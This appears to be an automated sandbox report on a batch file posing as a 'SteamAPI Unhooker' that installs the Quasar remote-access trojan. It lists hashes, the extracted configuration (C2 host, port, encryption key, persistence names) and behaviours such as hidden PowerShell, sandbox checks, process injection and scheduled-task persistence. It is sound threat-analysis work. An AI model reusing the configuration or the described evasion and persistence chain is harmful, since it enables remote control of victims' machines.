Analysis
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max time kernel
300s -
max time network
225s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
28-05-2024 13:52
Static task
static1
Behavioral task
behavioral1
Sample
SteamAPI Unhooker.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
SteamAPI Unhooker.bat
Resource
win10v2004-20240426-en
General
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Target
SteamAPI Unhooker.bat
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Size
1002KB
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MD5
f6d5bfaee8a55ff72c7b453fda066d62
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SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f
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SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
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SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
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SSDEEP
12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB
Malware Config
Extracted
quasar
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reconnect_delay
3000
Extracted
quasar
3.1.5
Video
runderscore00-25501.portmap.host:25501
$Sxr-oWTh3ZS9htfe80iIl5
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encryption_key
zK8u0rpHf4TJzGf65Flt
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install_name
Win11.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
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startup_key
Windows 11 Boot
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subdirectory
Win11
Signatures
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Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral2/memory/4736-23-0x0000000008BB0000-0x0000000008CA2000-memory.dmp family_quasar behavioral2/memory/4716-82-0x0000000008C70000-0x0000000008CDC000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\New.exe family_quasar behavioral2/memory/4748-101-0x0000000000990000-0x00000000009FC000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3504 created 604 3504 powershell.EXE winlogon.exe -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exeflow pid process 16 4716 powershell.exe 18 4716 powershell.exe 21 4716 powershell.exe 49 4716 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 4736 powershell.exe 4836 powershell.exe 4716 powershell.exe -
Sets service image path in registry 2 TTPs 1 IoCs
Processes:
WaaSMedicAgent.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 2 IoCs
Processes:
New.exeInstall.exepid process 4748 New.exe 1848 Install.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 15 ip-api.com -
Drops file in System32 directory 16 IoCs
Processes:
svchost.exesvchost.exesvchost.exepowershell.EXEOfficeClickToRun.exedescription ioc process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3504 set thread context of 2320 3504 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
mousocoreworker.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
mousocoreworker.exewmiprvse.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEOfficeClickToRun.exemousocoreworker.exesvchost.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a594b7f639e26c4083b3b0da538f62c100000000020000000000106600000001000020000000a59dce574ee25ff3324104052cb0fb4c4400f6a1cf6b72f3104f3658d2e209b7000000000e8000000002000020000000302069aabebc50f1f1c6df89889f3b83b6dea1a4cd45b764e0fce9e8d50e7626b0030000eaa297cefbce61ae5dad83bcbbe5a50aff05cf1606c59668fd6d8fa1b86d110d6ba1140697fe421202236de9d48f07e9a9722e417202b6e92320b11e59b0546ba712ac3711ad672acaf5537b99e57a28004438293b0c47e077c73fa80890805ffc10a19a8496f1957a76f7cee9cae57de6a672038c0506c19e18e1a75628713529f88f03f70d68a50bca13107e78aee49153612f249d7c3b9f1a8fc13a13eebc6efe8190600bcd5875d41aa17dfd5c1b0992503dd808334b2fb748353c80e5baca1cd5725dab3be1eed9e04f48381b738a889714561667bc730afa94dea2b9413e70625c9b738df60c0148e667bb0dbfe809a05ffd99e3ca5faf31294cdc1026e51f1ea5b6debbd5b2d51ee98aaddbb42e0dfa3ead14e0f3e5942305a8b629e7ba26919d6573aae2569d254921e1d94fc79cfc84d67528484028603ec530769aa1d1b796e7e4c34ad8e17425eb5002ee0414aa7c7e4ebb16d9c565cbc438208f940dcb0394a09c14922594bc43b1bcfc8ce3270ce484d6e54917a37e4248b54ba15d77b3f64f974c5e41477327fbe0dcf42eff9bd9260a014ad1c97c3220ac5c2f3174a4e3d76a462d60641d001de96b318c460e05b662f506558529328fcc68989453c96fb87833f97bc394c98fe62fc81df6f24dfa4d7606a3971d388d9f656616193610fe3e018a6673c574ae404c61cb55e944583ba58a0820ca9e9ac2cf2dc99dba31e1fdebd4ad50af4a71f7090763f42647c4a76910be5550de13bdf5370b3fee7d19278a5f2c50d4d482383cf850a0e65af1b4324085444512f26cce64d666b27712210c433bec2c813327420fa8ec10e1832fb54aeb7284b9192225f463cb3caed6e45a5edc1ce4387f4881612536db71026c8de5341c657fce8e1d6f7c972cc866f8d19870e4c9ddedac1c8af68545b9bb356ed84e9257ed56c91373b8486b701c1d6cc5274011b440438aa1b92694b0670006cb6de40ce5491b9cc9302d98559c6b4650768f857b0facd436413da69f57f89257ced91e0943068c9e136aeed18d556100d885293bd463d743bb04bf8d2620745a7f3bf7323489210c02d53149f222ed03e8470990c7968a3dca0f92bf5139812e9c611cc2d55e779497e5668eefed256f3c090b9a801d99e0461320eda6b2184d719a71d07fd6f4262d8c2afb9adbd7ed6691cc32da978f60145801c92e4a099145cb371a598e2f3f32af36ad5ce41f364dedb22e55e0c40249b295e44e2140f298a9d1ef254903a5ebbde61dff9508944e02d233cb063ac7586f8bdf7d4c2b4fe92908ce9e5044affac589024ffb1917dfdd4c5a3969bc400000001bd7a8b6cc92c33ce0e1a252b593d5ecc20848034234ac474681a21e434c8764e80a5219f631a29dd3f724ad2efad6c27c18eb715294df93878010ac75598a9c mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C00DBE6209BC = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a594b7f639e26c4083b3b0da538f62c100000000020000000000106600000001000020000000112c727405f240a1da61d60f9e27af019d7d4d860dd2b658c0fd3aa88cf492b1000000000e8000000002000020000000f6a72f4d191f72b06e905185faea283faada2885bdab82d7cf3825b26f2e186480000000c92bceadf8193ce4ad1d8ed76033613a9ddbac50236545abcde2eababff4e2aff9f96c2f0778a296ea1f0188424f10df4dcd26af8180a0b2cf28866b280204113a9967f3bd842aaf5c0b3fb90eb8a27b26d2c8fab67944d8727d7290c657e3af017eabf935e3dabe03a957ad8636c775ee4a5fe0489bc5780c1d5422c0f45526400000005719e6cc82f56a93b1915eaca8bd209d1402a795f098cb4287bf810d668fde1c3bdb4a386dd06e20180c4822b720fe89d446bac64009ed4d4841507b1b88f5c6 mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DBE6209BC" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={87747806-79BC-4BD0-BFF7-671EF04662E1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C00DBE6209BC" mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings powershell.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exewmiprvse.exepid process 4736 powershell.exe 4736 powershell.exe 4836 powershell.exe 4836 powershell.exe 4716 powershell.exe 4716 powershell.exe 3504 powershell.EXE 3504 powershell.EXE 3504 powershell.EXE 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 4716 powershell.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 4716 powershell.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 4716 powershell.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 4904 wmiprvse.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 4716 powershell.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe 2320 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4736 powershell.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeIncreaseQuotaPrivilege 4836 powershell.exe Token: SeSecurityPrivilege 4836 powershell.exe Token: SeTakeOwnershipPrivilege 4836 powershell.exe Token: SeLoadDriverPrivilege 4836 powershell.exe Token: SeSystemProfilePrivilege 4836 powershell.exe Token: SeSystemtimePrivilege 4836 powershell.exe Token: SeProfSingleProcessPrivilege 4836 powershell.exe Token: SeIncBasePriorityPrivilege 4836 powershell.exe Token: SeCreatePagefilePrivilege 4836 powershell.exe Token: SeBackupPrivilege 4836 powershell.exe Token: SeRestorePrivilege 4836 powershell.exe Token: SeShutdownPrivilege 4836 powershell.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeSystemEnvironmentPrivilege 4836 powershell.exe Token: SeRemoteShutdownPrivilege 4836 powershell.exe Token: SeUndockPrivilege 4836 powershell.exe Token: SeManageVolumePrivilege 4836 powershell.exe Token: 33 4836 powershell.exe Token: 34 4836 powershell.exe Token: 35 4836 powershell.exe Token: 36 4836 powershell.exe Token: SeIncreaseQuotaPrivilege 4836 powershell.exe Token: SeSecurityPrivilege 4836 powershell.exe Token: SeTakeOwnershipPrivilege 4836 powershell.exe Token: SeLoadDriverPrivilege 4836 powershell.exe Token: SeSystemProfilePrivilege 4836 powershell.exe Token: SeSystemtimePrivilege 4836 powershell.exe Token: SeProfSingleProcessPrivilege 4836 powershell.exe Token: SeIncBasePriorityPrivilege 4836 powershell.exe Token: SeCreatePagefilePrivilege 4836 powershell.exe Token: SeBackupPrivilege 4836 powershell.exe Token: SeRestorePrivilege 4836 powershell.exe Token: SeShutdownPrivilege 4836 powershell.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeSystemEnvironmentPrivilege 4836 powershell.exe Token: SeRemoteShutdownPrivilege 4836 powershell.exe Token: SeUndockPrivilege 4836 powershell.exe Token: SeManageVolumePrivilege 4836 powershell.exe Token: 33 4836 powershell.exe Token: 34 4836 powershell.exe Token: 35 4836 powershell.exe Token: 36 4836 powershell.exe Token: SeIncreaseQuotaPrivilege 4836 powershell.exe Token: SeSecurityPrivilege 4836 powershell.exe Token: SeTakeOwnershipPrivilege 4836 powershell.exe Token: SeLoadDriverPrivilege 4836 powershell.exe Token: SeSystemProfilePrivilege 4836 powershell.exe Token: SeSystemtimePrivilege 4836 powershell.exe Token: SeProfSingleProcessPrivilege 4836 powershell.exe Token: SeIncBasePriorityPrivilege 4836 powershell.exe Token: SeCreatePagefilePrivilege 4836 powershell.exe Token: SeBackupPrivilege 4836 powershell.exe Token: SeRestorePrivilege 4836 powershell.exe Token: SeShutdownPrivilege 4836 powershell.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeSystemEnvironmentPrivilege 4836 powershell.exe Token: SeRemoteShutdownPrivilege 4836 powershell.exe Token: SeUndockPrivilege 4836 powershell.exe Token: SeManageVolumePrivilege 4836 powershell.exe Token: 33 4836 powershell.exe Token: 34 4836 powershell.exe Token: 35 4836 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 4716 powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3368 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exedescription pid process target process PID 5108 wrote to memory of 4736 5108 cmd.exe powershell.exe PID 5108 wrote to memory of 4736 5108 cmd.exe powershell.exe PID 5108 wrote to memory of 4736 5108 cmd.exe powershell.exe PID 4736 wrote to memory of 4836 4736 powershell.exe powershell.exe PID 4736 wrote to memory of 4836 4736 powershell.exe powershell.exe PID 4736 wrote to memory of 4836 4736 powershell.exe powershell.exe PID 4736 wrote to memory of 3640 4736 powershell.exe WScript.exe PID 4736 wrote to memory of 3640 4736 powershell.exe WScript.exe PID 4736 wrote to memory of 3640 4736 powershell.exe WScript.exe PID 3640 wrote to memory of 2184 3640 WScript.exe cmd.exe PID 3640 wrote to memory of 2184 3640 WScript.exe cmd.exe PID 3640 wrote to memory of 2184 3640 WScript.exe cmd.exe PID 2184 wrote to memory of 4716 2184 cmd.exe powershell.exe PID 2184 wrote to memory of 4716 2184 cmd.exe powershell.exe PID 2184 wrote to memory of 4716 2184 cmd.exe powershell.exe PID 4716 wrote to memory of 4748 4716 powershell.exe New.exe PID 4716 wrote to memory of 4748 4716 powershell.exe New.exe PID 4716 wrote to memory of 4748 4716 powershell.exe New.exe PID 4716 wrote to memory of 1848 4716 powershell.exe Install.exe PID 4716 wrote to memory of 1848 4716 powershell.exe Install.exe PID 4716 wrote to memory of 1848 4716 powershell.exe Install.exe PID 4748 wrote to memory of 4448 4748 New.exe SCHTASKS.exe PID 4748 wrote to memory of 4448 4748 New.exe SCHTASKS.exe PID 4748 wrote to memory of 4448 4748 New.exe SCHTASKS.exe PID 3504 wrote to memory of 2320 3504 powershell.EXE dllhost.exe PID 3504 wrote to memory of 2320 3504 powershell.EXE dllhost.exe PID 3504 wrote to memory of 2320 3504 powershell.EXE dllhost.exe PID 3504 wrote to memory of 2320 3504 powershell.EXE dllhost.exe PID 3504 wrote to memory of 2320 3504 powershell.EXE dllhost.exe PID 3504 wrote to memory of 2320 3504 powershell.EXE dllhost.exe PID 3504 wrote to memory of 2320 3504 powershell.EXE dllhost.exe PID 3504 wrote to memory of 2320 3504 powershell.EXE dllhost.exe PID 2320 wrote to memory of 604 2320 dllhost.exe winlogon.exe PID 2320 wrote to memory of 660 2320 dllhost.exe lsass.exe PID 2320 wrote to memory of 936 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1000 2320 dllhost.exe dwm.exe PID 2320 wrote to memory of 528 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1032 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1048 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1056 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1172 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1196 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1252 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1280 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1340 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1380 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1436 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1556 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1572 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1660 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1704 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1748 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1772 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1812 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1900 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1912 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1964 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 2004 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 1672 2320 dllhost.exe spoolsv.exe PID 2320 wrote to memory of 2100 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 2244 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 2252 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 2412 2320 dllhost.exe svchost.exe PID 2320 wrote to memory of 2420 2320 dllhost.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:604
